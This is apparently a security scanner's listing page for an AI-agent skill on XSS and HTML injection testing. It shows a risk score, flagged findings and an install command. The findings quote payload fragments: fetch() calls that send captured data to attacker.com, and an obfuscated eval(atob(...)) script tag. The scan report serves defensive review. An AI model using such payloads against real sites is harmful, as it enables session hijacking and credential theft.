xss-html-injection

79 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By tody-agent/codymaster (GitHub) · security · 56 stars · scanned at commit 14cd03c

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: attacker.com

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 2 places.

.agent/skills/xss-html-injection/SKILL.md, line 135fetch('http://attacker.com/capture',{
.agent/skills/xss-html-injection/SKILL.md, line 381fetch('https://attacker.com/log',{

Contains code that is hidden or hard to read

This is disclosed by the author in the skill's SKILL.md or README.

Found in 1 place.

.agent/skills/xss-html-injection/SKILL.md, line 327<script>eval(atob('YWxlcnQoMSk='))</script>

Runs commands on your computer

The author does not mention this. It runs automatically when the plugin is installed. Expected for a security skill.

Found in 4 places.

.mcp.json, line 4"command": "node",
hooks/hooks.json, line 8"command": "if [ -f .cm/CONTINUITY.md ]; then echo '[cm] Working memory loaded from .cm/CONTINUITY.md'; head -30 .cm/CONTINUITY.md; else echo '[cm] No .cm/CONTI
hooks/hooks.json, line 19"command": "${CLAUDE_PLUGIN_ROOT}/bin/cm-guard-secrets"

Show 1 more

hooks/hooks.json, line 29"command": "${CLAUDE_PLUGIN_ROOT}/bin/cm-save-continuity"

Safer alternatives

Low-risk skills in the same category (security) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'xss-html-injection' ] || [ -L ~/.agents/skills/'xss-html-injection' ]; then echo 'A skill folder named xss-html-injection already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/tody-agent/codymaster' "$d" && git -C "$d" checkout --quiet '14cd03c9b12b3087494371e5ccef81005182dcaa' -- '.agent/skills/xss-html-injection' && mkdir -p ~/.agents/skills && cp -R "$d"/'.agent/skills/xss-html-injection' ~/.agents/skills/'xss-html-injection' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'xss-html-injection' ~/.claude/skills/'xss-html-injection' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-07	`14cd03c`	79

Also found in

Identical copies of this skill exist at:

tody-agent/codymaster/Archive/legacy-agent-system/agent-skills/skills/xss-html-injection